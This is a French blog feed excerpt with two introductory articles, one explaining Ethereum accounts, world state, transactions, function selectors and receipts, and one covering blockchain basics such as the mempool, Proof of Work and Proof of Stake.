<p>Nous avons vu dans l’article <a href="/blockchain/">Blockchain 101</a> le fonctionnement général des blockchains. Ethereum fonctionne globalement de cette manière, le mécanisme de consensus étant la preuve d’enjeu, ou Proof of Stake. La cryptomonnaie propre à Ethereum est l’Ether (ou ETH). Tout comme Bitcoin et toutes les autres blockchains, il est possible d’envoyer des Ethers à d’autres utilisateurs via des transactions. Chaque utilisateur a son adresse.</p>
<p>Ce qu’Ethereum apporte, c’est qu’en plus des utilisateurs classiques qui effectuent des transactions, il est possible de créer des petits programmes, des <strong>smart contracts</strong>, qui existent également sur la blockchain. Ils ont tous une adresse, tout comme les utilisateurs, mais ils ont aussi du code, enregistré sur la blockchain.</p>
<p>Pour distinguer ces deux types de comptes, on appelle les utilisateurs classiques des <strong>EOA</strong> (Externally Owned Accounts), qu’on oppose aux comptes de contrats (<em>contracts accounts</em>), qu’on appellera simplement <strong>contrats</strong>.</p>
<h2 id="eoa-vs-contrats">EOA vs Contrats</h2>
<p>Les comptes créés par des humains, les <strong>EOA</strong>, sont donc des comptes avec une adresse, une clé publique et une clé privée. Ils peuvent initier des transactions en les signant, envoyer des Ethers, et en recevoir. Ces transactions peuvent être envoyées à d’autres EOA, ce qui permet d’envoyer des Ethers, mais également vers des contrats.</p>
<p>Les <strong>contrats</strong> ont également une adresse, mais n’ont pas de clé privée. <strong>Ils ne peuvent alors pas initier de transaction</strong>. Ils ne peuvent que réagir à des transactions initiées par des EOA, ou à des messages envoyés par d’autres contrats. En effet, une fois appelé par un EOA, un contrat peut tout à fait envoyer des messages à d’autres contrats. La notion de <em>message</em> est abordée à la fin de cet article.</p>
<p><a href="/assets/uploads/2023/06/eoa_contract.png"><img src="/assets/uploads/2023/06/eoa_contract.png" alt="EOA vs Contract" /></a></p>
<h2 id="organisation-des-données">Organisation des données</h2>
<p>Avant de plonger sur le pourquoi du comment un compte de type contrat peut exécuter du code au sein de l’écosystème Ethereum, nous allons zoomer sur les différentes données gérées et utilisées par Ethereum. En effet, dans cet écosystème, un <strong>état global</strong> des adresses doit être maintenu à jour (avec les soldes des comptes, par exemple), la liste des <strong>transactions</strong> doit être stockée et vérifiable, les messages émis dans les différentes transactions doivent être accessibles, et le stockage permanent de chaque smart contract doit, par définition, être également enregistré quelque part.</p>
<p>Toutes ces données <strong>ne sont pas stockées dans les blocs de la blockchain</strong>. Aussi étonnant que cela puisse paraitre (en tout cas pour moi au premier abord), ces informations sont enregistrées dans des bases de données, <strong>en dehors des blocs</strong>, sous forme d’arbres qui suivent un format spécifique : ce sont des <strong>Merkle Patricia Tries</strong>, qui permettent de stocker une liste de clés/valeurs de manière optimisée.</p>
<blockquote>
<p>Il n’y a pas de typo, c’est bien <code class="language-plaintext highlighter-rouge">Trie</code>, et non pas <code class="language-plaintext highlighter-rouge">Tree</code>, en référence au mot anglais Re<strong>trie</strong>ve. Nous verrons probablement les Merkle Patricia Tries en détails dans un article dédié.</p>
</blockquote>
<p>Ces données sont donc enregistrées dans les arbres suivants :</p>
<ul>
<li><strong>State trie</strong>, ou <strong>world state</strong>, qui contient lui-même des liens vers des <strong>storage tries</strong></li>
<li><strong>Transactions tries</strong></li>
<li><strong>Receipt tries</strong></li>
</ul>
<p>Ainsi, dans les blocks, seul le hash de la racine de chacun de ces arbres est stocké.</p>
<p><a href="/assets/uploads/2023/06/ethereum_blocks.png"><img src="/assets/uploads/2023/06/ethereum_blocks.png" alt="Ethereum Blocks" /></a></p>
<blockquote>
<p>Pour simplifier les prochains schémas, il arrivera qu’on note des transactions dans des blocs. Mais comme indiqué ici, le détail des transactions n’est techniquement <strong>pas inclus dans les blocs</strong>.</p>
</blockquote>
<p>C’est à chaque client de savoir stocker le contenu des arbres et de gérer les requêtes à partir du hash du nœud racine (tous les clients n’utilisent pas les mêmes bases de données d’ailleurs).</p>
<p>Cette organisation permet aux équipements légers (mobiles, IoT) de se synchroniser facilement et rapidement avec la blockchain sans pour autant télécharger d’immenses volumes de données, et d’avoir ainsi connaissance des hash des nœuds racines des différents arbres, et ce pour chaque bloc.</p>
<p>Avec seulement les hashs des nœuds racines, un équipement léger peut demander à des nœuds complets (<em>full nodes</em>), c’est à dire des nœuds qui ont enregistré la blockchain ainsi que toutes les bases de données, de lui envoyer des données spécifiques. Grâce aux hashs des nœuds racine, le client léger pourra vérifier la validité de ces données (une transaction, le solde d’un compte, etc.).</p>
<blockquote>
<p>Notons que même un <em>full node</em> Ethereum ne requiert qu’environ 1To d’espace disque. C’est accessible à vraiment tout le monde, et c’est ce qui fait qu’il y a autant de personnes qui participent au réseau décentralisé. Par ailleurs, il existe également les <em>archive nodes</em>. Contrairement aux <em>full nodes</em> qui ne se synchronisent qu’avec les 128 derniers blocs, les nœuds d’archive possèdent <strong>toute</strong> la blockchain. Si vous voulez plus d’informations, n’hésitez pas à lire <a href="https://www.quicknode.com/guides/infrastructure/node-setup/ethereum-full-node-vs-archive-node">cet article</a>.</p>
</blockquote>
<p>Voyons ensemble à quoi correspondent ces différents arbres de données.</p>
<h2 id="world-state">World State</h2>
<p>Commençons par le <strong>State Trie</strong>, ou le <strong>World State</strong>. Nous pouvons préciser que, tandis que nous comparions une blockchain à une base de données décentralisée, Ethereum est plus complexe et complet que ça. On pourrait plutôt décrire Ethereum comme <strong>une machine à état</strong> décentralisée.</p>
<p>C’est donc l’état général de Ethereum qui est appelé <strong>World State</strong>. Dans cet état, il y a toutes les adresses actives des utilisateurs (c’est à dire les adresses étant présentes dans au moins une transaction), et à chaque adresse est associé un état de compte (<strong>account state</strong>).</p>
<p><a href="/assets/uploads/2023/06/world_state_basic.png"><img src="/assets/uploads/2023/06/world_state_basic.png" alt="World State" /></a></p>
<h2 id="account-state">Account State</h2>
<p>L’état de chaque compte est donc enregistré dans le <strong>world state</strong> contenant les 4 champs suivants :</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">balance</code> : Le solde d’Ether du compte</li>
<li><code class="language-plaintext highlighter-rouge">nonce</code> : Un numéro qui s’incrémente à chaque transaction pour un EOA, et à chaque création de contrat pour un contrat</li>
<li><code class="language-plaintext highlighter-rouge">codeHash</code> : Un hash qui permet de retrouver le code du smart contract (le hash d’une chaine de caractère vide pour un EOA)</li>
<li><code class="language-plaintext highlighter-rouge">storageRoot</code> : Le hash du nœud racine de l’arbre Merkle Patricia de l’<strong>account storage</strong>, ou <strong>storage trie</strong>. Il permet de récupérer l’état du contrat, comme la valeur des variables enregistrées de manière permanente par le contrat. Ce champ est vide pour un compte EOA.</li>
</ul>
<p><a href="/assets/uploads/2023/06/world_state.png"><img src="/assets/uploads/2023/06/world_state.png" alt="Account State" /></a></p>
<p>A chaque fois qu’un bloc de la blockchain est validé, l’ensemble des transactions vont apporter des modifications au <strong>world state</strong>, pour donner un nouvel état.</p>
<p>Dans l’exemple du schéma suivant, un bloc effectue deux transactions :</p>
<ol>
<li>L’adresse <strong>A</strong> envoie <code class="language-plaintext highlighter-rouge">2</code> coins à l’adresse <strong>C</strong>. Les soldes (<code class="language-plaintext highlighter-rouge">balance</code>) de <strong>A</strong> et de <strong>C</strong> vont évoluer, ainsi que le <code class="language-plaintext highlighter-rouge">nonce</code> de <strong>A</strong> (qui s’incrémente à chaque transaction)</li>
<li>L’adresse <strong>A</strong> envoie <code class="language-plaintext highlighter-rouge">4</code> coins à l’adresse <strong>D</strong>. Le solde de <strong>A</strong> va évoluer, et l’adresse <strong>D</strong> n’existant pas encore dans le <strong>world state</strong> va être ajoutée, avec un solde valant <code class="language-plaintext highlighter-rouge">4</code>, et un <code class="language-plaintext highlighter-rouge">nonce</code> valant <code class="language-plaintext highlighter-rouge">0</code>.</li>
</ol>
<p>Les champs en rouge sont donc ceux qui sont modifiés suite à l’exécution des transactions du bloc, menant à un nouvel état <strong>N+1</strong>.</p>
<p><a href="/assets/uploads/2023/06/world_state_bloc.png"><img src="/assets/uploads/2023/06/world_state_bloc.png" alt="World State Update" /></a></p>
<h2 id="transactions">Transactions</h2>
<p>Nous avons maintenant une vision plus claire des types de comptes qui existent, et comment ils sont enregistrés au sein d’Ethereum. Nous avons expliqué que les blocs contiennent des <strong>transactions</strong> qui modifient l’état des comptes impliqués, et par conséquent l’état général, ou <strong>world state</strong>. Ces transactions sont en réalité enregistrées dans une base de données, le <strong>Transactions Trie</strong>, de manière ordonnée.</p>
<p>Dans une transaction, on trouve plusieurs éléments :</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">Nonce</code> : Le <code class="language-plaintext highlighter-rouge">nonce</code> est propre à chaque compte (stocké pour chaque adresse dans le <strong>world state</strong>, si vous avez bien suivi), et est incrémenté pour chaque nouvelle transaction</li>
<li><code class="language-plaintext highlighter-rouge">gasPrice</code> et <code class="language-plaintext highlighter-rouge">gasLimit</code>: Ils permettent à l’utilisateur de définir les frais de transaction</li>
<li><code class="language-plaintext highlighter-rouge">to</code>: L’adresse destinataire de la transaction</li>
<li><code class="language-plaintext highlighter-rouge">value</code>: Le nombre de Eth envoyés (optionnel)</li>
<li><code class="language-plaintext highlighter-rouge">v,r,s</code>: La signature de l’utilisateur</li>
<li><code class="language-plaintext highlighter-rouge">data</code>: Permet d’envoyer des données à un autre compte, ou permet de définir le contrat lors de sa création</li>
</ul>
<blockquote>
<p>Si vous êtes observateur, vous constaterez qu’une <strong>transaction</strong> doit être <strong>signée</strong>. Or le seul type de compte qui possède une clé privée est l’<strong>EOA</strong>. Les contrats ne possèdent pas de clé privée. Ils ne peuvent donc pas initier de transaction.</p>
</blockquote>
<p>Il existe en réalité <strong>deux</strong> types de transactions chez Ethereum, celles qui permettent d’envoyer un message à un autre compte, et celles qui permettent de créer un contrat.</p>
<h3 id="lenvoi-dun-message">L’envoi d’un message</h3>
<p>Dans une transaction, un compte A envoie un message à un compte B. L’adresse de destination <code class="language-plaintext highlighter-rouge">to</code> est celle du compte B, et les champs <code class="language-plaintext highlighter-rouge">value</code> et <code class="language-plaintext highlighter-rouge">data</code> peuvent être utilisés.</p>
<h4 id="envoi-dether">Envoi d’Ether</h4>
<p>Pour envoyer des Ether à l’adresse de destination, la somme souhaitée sera indiquée dans <code class="language-plaintext highlighter-rouge">value</code>. Quand on compte envoie de l’argent à un autre compte, c’est uniquement ce champ <code class="language-plaintext highlighter-rouge">value</code> qui est renseigné. Le compte de destination peut être un EOA ou un contrat.</p>
<blockquote>
<p>Si la destination est un contrat, il faut que le contrat ait été conçu pour recevoir des Ethers de la sorte.</p>
</blockquote>
<h4 id="envoi-de-données">Envoi de données</h4>
<p>Le champ <code class="language-plaintext highlighter-rouge">data</code> est quant à lui majoritairement utilisé pour exécuter le code d’un smart contract, quand la transaction lui est destinée. C’est aussi possible d’envoyer des données à un EOA, et le destinataire la traitera comme bon lui semble.</p>
<p>Lors de l’appel d’une fonction d’un contrat, le champ <code class="language-plaintext highlighter-rouge">data</code> doit être formaté de la manière suivante :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>data: <Sélecteur de la fonction> <arguments>
</code></pre></div></div>
<p>Le <strong>sélecteur de la fonction</strong> est calculé en hashant la signature de la fonction, et en ne retenant que les 4 premiers octets.</p>
<p>Par exemple, imaginons la fonction suivante :</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">function</span> <span class="nf">getItemValue</span><span class="o">(</span><span class="n">string</span> <span class="n">calldata</span> <span class="n">_itemName</span><span class="o">,</span> <span class="n">uint256</span> <span class="n">_itemId</span><span class="o">)</span> <span class="kd">public</span> <span class="nf">returns</span><span class="o">(</span><span class="n">uint256</span> <span class="n">value</span><span class="o">)</span> <span class="o">{</span>
<span class="c1">// Code de la fonction</span>
<span class="o">}</span>
</code></pre></div></div>
<p>La signature de la fonction est :</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">getItemValue</span><span class="o">(</span><span class="n">string</span><span class="o">,</span><span class="n">uint256</span><span class="o">)</span>
</code></pre></div></div>
<p>Et le sélecteur :</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bytes4</span><span class="o">(</span><span class="n">keccak256</span><span class="o">(</span><span class="s">"getItemValue(string,uint256)"</span><span class="o">));</span>
<span class="c1">// Output:</span>
<span class="mh">0xc2e58fec</span>
</code></pre></div></div>
<p>Donc le contenu de <code class="language-plaintext highlighter-rouge">data</code> ressemblera à</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">data:</span> <span class="mh">0xc2e58fec</span><span class="o"><</span><span class="n">arguments</span><span class="o">></span>
</code></pre></div></div>
<p>Nous verrons comment les arguments sont organisés dans un prochain article, mais voici un exemple pour l’appel <code class="language-plaintext highlighter-rouge">getItemValue("pixis", 8)</code> :</p>
<div class="language-markdown highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0xc2e58fec # Sélecteur de fonction
0000000000000000000000000000000000000000000000000000000000000040 # Pointeur vers la chaine
0000000000000000000000000000000000000000000000000000000000000008 # 8
0000000000000000000000000000000000000000000000000000000000000005 # Longueur de la chaine
7069786973000000000000000000000000000000000000000000000000000000 # Chaine "pixis"
</code></pre></div></div>
<p>Ce type de message peut donc être envoyé depuis une transaction d’un compte EOA vers un smart contract.</p>
<blockquote>
<p>Sachez qu’il est également possible qu’un contrat appelle une fonction d’un autre contrat en envoyant le même format de message. Tout se passera dans la même transaction, puisqu’un contrat ne <strong>peut pas</strong> signer de <strong>nouvelle</strong> transaction. Ce type d’appel entre contrat est un <strong>message call</strong>, c’est une instruction spécifique de la machine virtuelle de Ethereum. Seul le message est envoyé, le contrat de destination sera exécuté, et le résultat de cet appel sera retourné au contrat appelant. Nous verrons ces appels plus en détails dans de prochains articles.</p>
</blockquote>
<h3 id="la-création-dun-contrat">La création d’un contrat</h3>
<p>Le deuxième type de transaction permet à un compte EOA de créer un nouveau contrat. Pour cela, la transaction a pour destinataire l’adresse nulle <code class="language-plaintext highlighter-rouge">0x00000...</code>, et le champ <code class="language-plaintext highlighter-rouge">data</code> est utilisé.</p>
<p>Ce champ <code class="language-plaintext highlighter-rouge">data</code> est divisé en deux parties :</p>
<ul>
<li>Le code d’initialisation (<code class="language-plaintext highlighter-rouge">initialization bytecode</code>) qui permet de déployer le contrat. On y trouvera notamment le code du constructeur du contrat avec ses arguments (s’il y a un constructeur) ou encore les modifications du storage si des variables sont déclarées. Ce code termine en retournant l’adresse en mémoire du <code class="language-plaintext highlighter-rouge">runtime bytecode</code> ainsi que sa taille.</li>
<li>Le code de runtime (<code class="language-plaintext highlighter-rouge">runtime bytecode</code>) est le code du contrat, incluant le code de toutes les fonctions.</li>
</ul>
<p>Une fois que cette transaction est traitée, un nouveau compte, celui du contrat, est créé. Son adresse est dérivée de l’adresse du créateur du contrat et du <code class="language-plaintext highlighter-rouge">nonce</code> de ce compte. Ainsi, à chaque nouvelle création de contrat, une adresse différente sera générée.</p>
<p>Comme nous l’avons vu précédemment, une nouvelle entrée dans le <strong>world state</strong> sera créée pour cette adresse. Le <code class="language-plaintext highlighter-rouge">nonce</code> sera 0, le solde du contrat dépendra du champ <code class="language-plaintext highlighter-rouge">value</code> de la transaction qui l’a créé (<code class="language-plaintext highlighter-rouge">0</code> par défaut), mais le plus important sont les champs :</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">codeHash</code> : Il permet de retrouver où se trouve le <code class="language-plaintext highlighter-rouge">runtime bytecode</code> du compte, c’est à dire toute la logique du smart contract</li>
<li><code class="language-plaintext highlighter-rouge">storageRoot</code> : Un contrat étant toujours associé à un espace de stockage permanent, le <code class="language-plaintext highlighter-rouge">account storage</code>, cette valeur permet de retrouver cet espace de stockage afin de lire et modifier toutes les variables utilisées dans le smart contract.</li>
</ul>
<h2 id="receipts">Receipts</h2>
<p>Le dernier arbre dont nous n’avons pas parlé est le <strong>Receipts Trie</strong>. Il permet de stocker les informations qui ne sont pas nécessaires au bon fonctionnement des smart contracts, mais qui peuvent être utilisées par des applications tierces, comme des front-ends, ou des clients.</p>
<p>Il y a <strong>un seul Receipts Trie par bloc</strong>. C’est un résumé des transactions qui se sont exécutées dans le bloc.</p>
<p>On y trouve par exemple le <strong>statut</strong> de la transaction (si elle a échoué ou non), ou encore le montant de <strong>gas</strong> utilisé.</p>
<p>De plus, lorsqu’un smart contract est exécuté, il peut émettre des <strong>événements</strong>.</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">contract</span> <span class="nc">MyContract</span> <span class="o">{</span>
<span class="c1">// Initialisation d'un événement "Transfer"</span>
<span class="nc">Event</span> <span class="nf">Transfer</span><span class="o">(</span><span class="n">address</span> <span class="n">to</span><span class="o">,</span> <span class="n">uint</span> <span class="n">value</span><span class="o">,</span> <span class="n">uint</span> <span class="n">tokenId</span><span class="o">);</span>
<span class="n">function</span> <span class="nf">transferTokens</span><span class="o">(</span><span class="n">address</span> <span class="n">_to</span><span class="o">,</span> <span class="n">uint</span> <span class="n">_value</span><span class="o">,</span> <span class="n">uint</span> <span class="n">_tokenId</span><span class="o">)</span> <span class="n">external</span> <span class="o">{</span>
<span class="c1">// Code de la fonction</span>
<span class="c1">// Emission de l'événement "Transfer"</span>
<span class="n">emit</span> <span class="nf">Transfer</span><span class="o">(</span><span class="n">_to</span><span class="o">,</span> <span class="n">_value</span><span class="o">,</span> <span class="n">_tokenId</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>Dans cet exemple, l’événement <code class="language-plaintext highlighter-rouge">Transfer</code> est émis à la fin de la fonction <code class="language-plaintext highlighter-rouge">transferToken</code>. Cet événement sera ajouté au <strong>Receipts Trie</strong> du bloc.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Ces différents éléments nous permettent de mieux comprendre comment fonctionne Ethereum, ce qui définit un smart contract, comment un utilisateur peut en créer et comment il peut interagir avec. Cet article, couplé avec l’<a href="/blockchain/">introduction aux blockchains</a>, permettent de poser les bases pour expliquer le fonctionnement de la machine virtuelle de Ethereum, la EVM (<em>Ethereum Virtual Machine</em>). Mais ça, c’est dans le <a href="/ethereum-virtual-machine/">prochain article</a> !</p>
Mon, 10 Jul 2023 04:13:37 +0000
https://beta.hackndo.com/ethereum/
https://beta.hackndo.com/ethereum/BlockchainBlockchain 101<p>Depuis plusieurs années, je m’intéresse à un sujet dont vous avez probablement entendu parler, les <strong>blockchains</strong>. Je trouve ça fascinant qu’une technologie permette à des milliers de personnes de s’accorder sur énormément de sujets <strong>sans besoin d’intermédiaire</strong>. La décentralisation est un sujet qui à mon sens a beaucoup de potentiel, et nous verrons sur le long terme si cette technologie perdurera ou non. Quoiqu’il en soit, en l’état, ça bouillonne, ça bouillonne fort ! Plus récemment, j’ai commencé à m’intéresser à la blockchain <strong>Ethereum</strong>, aux <strong>smart contracts</strong>, et à la <strong>sécurité des smart contracts</strong>. On va parler de tout ça ici, c’est parti.</p>
<!--more-->
<p>Avant de plonger dans la sécurité des smarts contracts, il est important de rappeler quelques <strong>concepts clés sur les blockchains</strong>. Qu’est-ce que c’est, comment ça fonctionne, quels sont les acteurs en jeu, nous verrons tout ceci dans cet article introductif. L’idée n’est pas de rentrer dans les détails, mais d’avoir une <strong>vue d’ensemble</strong> du fonctionnement général des blockchains. Les spécificités techniques variant beaucoup d’une blockchain à l’autre, nous les verrons en temps voulu dans les prochains articles.</p>
<h2 id="définition">Définition</h2>
<p>Il y a mille et une définitions pour le terme <strong>blockchain</strong> (ou chaîne de blocs, mais on continuera avec le terme blockchain). Ce que je trouve important à comprendre, c’est que ça représente un registre (ou base de données) décentralisé. Il n’y a pas une entité centrale qui décide de la validité ou non d’une transaction, mais bien des milliers de personnes ou machines qui travaillent pour vérifier et valider ces transactions, le tout étant régit par des règles et concepts mathématiques.</p>
<p>Finalement, on peut simplifier une blockchain en imaginant que c’est un immense tableau Excel dans lequel il est possible d’ajouter des lignes, les unes à la suite des autres. Il est également possible de lire l’intégralité du fichier Excel, depuis sa création. Cependant, il n’est pas possible d’aller modifier une ligne déjà écrite et validée. C’est du <em>append only</em>.</p>
<p>Bien entendu, c’est simplificateur, car des blockchains comme Ethereum ajoute, en plus de transactions classiques, une machine virtuelle avec son espace de stockage, son architecture etc. On en parlera dans le prochain article.</p>
<h2 id="transactions">Transactions</h2>
<p>Ces transactions, à quoi ça correspond ? Tout simplement à des transferts de <em>coins</em> d’un compte à un autre. Si Alice veut envoyer 1 <em>coin</em> à Bob, c’est une transaction.</p>
<blockquote>
<p>Un <strong>coin</strong>, c’est la cryptomonnaie de la blockchain. Pour la blockchain Bitcoin, c’est le Bitcoin, pour la blockchain Ethereum c’est l’Ether, pour Solana c’est le Sol, etc.</p>
</blockquote>
<p>Pour savoir si Alice a suffisamment de <em>coins</em>, il suffit de lire l’historique des transactions. <strong>Tout</strong> l’historique. Si un jour elle a reçu <code class="language-plaintext highlighter-rouge">3</code> <em>coins</em>, qu’elle en a dépensés <code class="language-plaintext highlighter-rouge">2</code>, puis qu’elle en a reçus <code class="language-plaintext highlighter-rouge">4</code>, on peut savoir, à l’instant T, que Alice a <code class="language-plaintext highlighter-rouge">3-2+4</code> donc <code class="language-plaintext highlighter-rouge">5</code> <em>coins</em>. Elle a alors le droit de dépenser 1 <em>coin</em>, tout va bien.</p>
<p><a href="/assets/uploads/2023/06/alice_balance.png"><img src="/assets/uploads/2023/06/alice_balance.png" alt="Alice balance" /></a></p>
<blockquote>
<p>Notons que c’est le fonctionnement de Bitcoin, mais pour d’autres blockchains, il arrive que le solde de chaque compte soit maintenu à jour (dans la blockchain ou non) afin d’éviter de devoir recalculer les soldes des utilisateurs à chaque transaction.</p>
</blockquote>
<p>Voilà ce que contient une blockchain classique. Un état des dépenses de tous les utilisateurs, depuis la création de la blockchain.</p>
<h2 id="utilisateur">Utilisateur</h2>
<p>Pour être un utilisateur d’une blockchain, il faut être en possession d’un couple de clés asymétriques : Une clé publique et une clé privée. La clé privée, évidemment gardée jalousement par chaque utilisateur, permet de signer toutes ses transactions. C’est de cette manière que, quand Alice prétend envoyer <code class="language-plaintext highlighter-rouge">1</code> <em>coin</em> à un destinataire, il est possible de vérifier que c’est bien Alice qui est à l’initiative de cette transaction. Elle l’a signée avec sa clé privée, et tout le monde peut vérifier que cette signature est valide avec sa clé publique.</p>
<p>On comprend donc qu’en réalité, dans une blockchain, on ne sait pas que l’utilisateur est <strong>Alice</strong>. Un utilisateur est plutôt défini par une adresse (dérivée de sa clé publique). Donc quand Alice souhaite effectuer une transaction, du point de vue de la blockchain, c’est son adresse qui est la source de la transaction.</p>
<p>Par ailleurs, pour communiquer avec la blockchain, l’utilisateur passera par le biais d’un <strong>client</strong>. Ce n’est rien d’autre qu’un programme qui sait comment générer des transactions, communiquer avec le réseau etc. L’utilisateur pourrait tout coder lui⁻même, mais ce n’est pas pratique. C’est un peu comme le fait d’utiliser un navigateur internet pour aller sur internet. C’est plus pratique que d’écrire du code qui permette de faire des requêtes HTTP.</p>
<h2 id="validation">Validation</h2>
<p>C’est très bien, mais qui valide ces transactions ? Qui fait le calcul pour vérifier que Alice a bien au moins 1 <em>coin</em> à envoyer à quelqu’un ? Et que c’est bien Alice qui effectue la transaction ?</p>
<p>C’est là qu’interviennent les notions de <strong>blocs</strong> et de <strong>validateurs</strong>. Pour qu’une blockchain fonctionne correctement, il faut que plusieurs personnes se mettent au travail pour valider les transactions. Ils créent ce qu’on appelle des nœuds (<em>nodes</em>) qui seront capables de s’annoncer auprès du réseau pour en faire partie, récupérer toutes les transactions passées et celles en attente de validation. C’est un vrai réseau <em>peer-to-peer</em>. Dès qu’un utilisateur souhaite effectuer une transaction (<strong>1</strong>), le client qu’il utilise pour effectuer sa transaction enverra un message de broadcast pour indiquer qu’une nouvelle transaction a été envoyée (via <a href="https://eips.ethereum.org/EIPS/eip-2464">NewPooledTransactionHashes</a>) (<strong>2</strong>). Le (ou les) nœud alentours recevra cette information et récupérera la transaction pour la <strong>vérifier</strong> (vérification de la signature, des fonds disponibles, etc.) (<strong>3</strong>), mais elle ne sera pas encore <strong>validée</strong> pour autant. Elle va rejoindre la liste d’attente des transactions qui ont été envoyées mais pas encore validées, appelée le <strong>mempool</strong>. Ce nœud préviendra également d’autres nœuds (<strong>4</strong>) qui eux-mêmes feront le travail de vérification (<strong>6</strong>) et ajouteront cette transaction à leur mempool, etc.</p>
<p><a href="/assets/uploads/2023/06/tx_propagation.png"><img src="/assets/uploads/2023/06/tx_propagation.png" alt="Tx Propagation" /></a></p>
<p>Il y a donc tout un tas de transactions en attente d’être validées, et c’est là qu’entre en jeu la magie de la blockchain. En effet, il va falloir valider des transactions, et que tous les nœuds du réseau se mettent d’accord sur les transactions validées, et l’ordre dans lequel elles sont validées.</p>
<p>Chaque nœud crée alors un bloc, dont la taille est limitée (cette limite diffère d’une blockchain à l’autre) en choisissant des transactions en attente dans le mempool. Une fois ce bloc créé, tous les nœuds seront en compétition pour que leur bloc soit le nouveau bloc de référence. Le bloc construit par celui qui remporte la compétition devient le dernier bloc de la chaîne. Il est ajouté aux blocs précédemment validés, les transactions qu’il contenait ne sont plus dans le mempool, puisqu’elles ont été validées, et donc tous les nœuds doivent reconstruire un nouveau bloc avec les transactions qui ne sont pas encore validées pour tenter, à nouveau, de remporter cette compétition.</p>
<p><a href="/assets/uploads/2023/06/blockchain_new_block.png"><img src="/assets/uploads/2023/06/blockchain_new_block.png" alt="New block" /></a></p>
<h2 id="consensus">Consensus</h2>
<p>Cette “compétition” dont on parle, c’est le mécanisme de consensus, c’est à dire une manière qui met tout le monde d’accord pour que quelqu’un devienne la nouvelle référence pour le prochain bloc. Il existe beaucoup de mécanismes de consensus. Les deux principaux sont les suivants :</p>
<p>Le <strong>Proof of Work (PoW)</strong>, ou preuve de travail, est un mécanisme de consensus qui requiert que chaque nœud effectue énormément de calculs pour trouver une solution à un problème. Pour simplifier, c’est comme si on vous demandait de fournir une chaine de caractères telle que <code class="language-plaintext highlighter-rouge">md5(bloc + chaine)</code> commence par dix fois le numéro <code class="language-plaintext highlighter-rouge">0</code>. Il n’y a pas vraiment de bonne ou mauvaise situ… manière de procéder. On peut tout simplement générer des chaines complètement aléatoires, calculer leur hash md5, jusqu’à trouver, par hasard, une entrée qui satisfasse la condition. Et à un moment donné, de manière complètement aléatoire, quelqu’un peut tester :</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="nt">-n</span> <span class="s1">'[bloc data]aa33bdsk'</span> | <span class="nb">md5sum</span>
<span class="c"># Output:</span>
000000000035d3695b3a133766f60d42
</code></pre></div></div>
<p>En étant le premier à trouver cette solution au problème posé, ce sera son bloc qui sera ajouté à la chaîne de blocs existante, et donc les transactions qu’il a prises du mempool qui seront validées.</p>
<p>Le <strong>Proof of Stake (PoS)</strong> , ou preuve d’enjeu, évite que tous les nœuds fassent des calculs. A la place, chaque nœud doit mettre de côté des cryptomonnaies de la blockchain. Chaque nœud prépare son bloc, puis à intervalle régulier, c’est un algorithme qui choisi aléatoirement un nœud parmi ceux qui ont mis des cryptomonnaies de côté. Le nœud choisi verra son bloc validé, et on passe au bloc suivant. Si le nœud ne respecte pas les règles ou essaie de tricher (en modifiant des transactions ou en créant un bloc trop gros, par exemple), la cryptomonnaie qu’il a dû mettre de côté lui sera retirée. <em>You gotta play by the rules</em>.</p>
<p>Il en existe d’autres, mais vous avez compris l’idée. Le but est que régulièrement, un nœud valide un bloc, mais qu’il ne soit pas possible pour un même nœud de valider tous les blocs. Tout le monde est en compétition.</p>
<h2 id="récompenses">Récompenses</h2>
<p>Rassurez-vous, les personnes derrière ces nœuds ne sont pas des amoureux de la blockchain qui travaillent gratuitement. Tout travail mérite salaire, et ça s’applique également à la blockchain. Les personnes qui font partie du réseau en vérifiant et validant les transactions gagnent des récompenses.</p>
<p>Pour envoyer une transaction sur le réseau, les utilisateurs doivent y joindre un petit montant, appelé <strong>frais de transaction</strong> (<em>gas</em> chez Ethereum). Ainsi, quand quelqu’un valide un bloc, il récoltera les frais des transactions qu’il aura validé. On comprend alors qu’en tant qu’utilisateur, si on veut être assuré que notre transaction ne stagne pas <em>at vitam</em> dans le mempool, il faudra payer suffisamment de frais de transactions pour être dans la moyenne, voire dans le haut du panier si on souhaite être prioritaire.</p>
<p>Par ailleurs, à chaque bloc validé, un petit montant de la cryptomonnaie est créé de toute pièce et envoyé au validateur. Le nombre de <em>coin</em> en circulation augmente alors un peu.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Ces quelques paragraphes permettent j’espère de clarifier le concept global d’une blockchain, et sert d’introduction aux prochains articles qui se concentrent sur la <a href="/ethereum">blockchain Ethereum</a>, notamment sur l’<a href="/ethereum-virtual-machine/">Ethereum Virtual Machine</a> qui permet d’exécuter des Smart Contracts, et les enjeux de sécurité associés à cette exécution de code décentralisée. A très vite !</p>
Mon, 03 Jul 2023 02:12:43 +0000
https://beta.hackndo.com/blockchain/
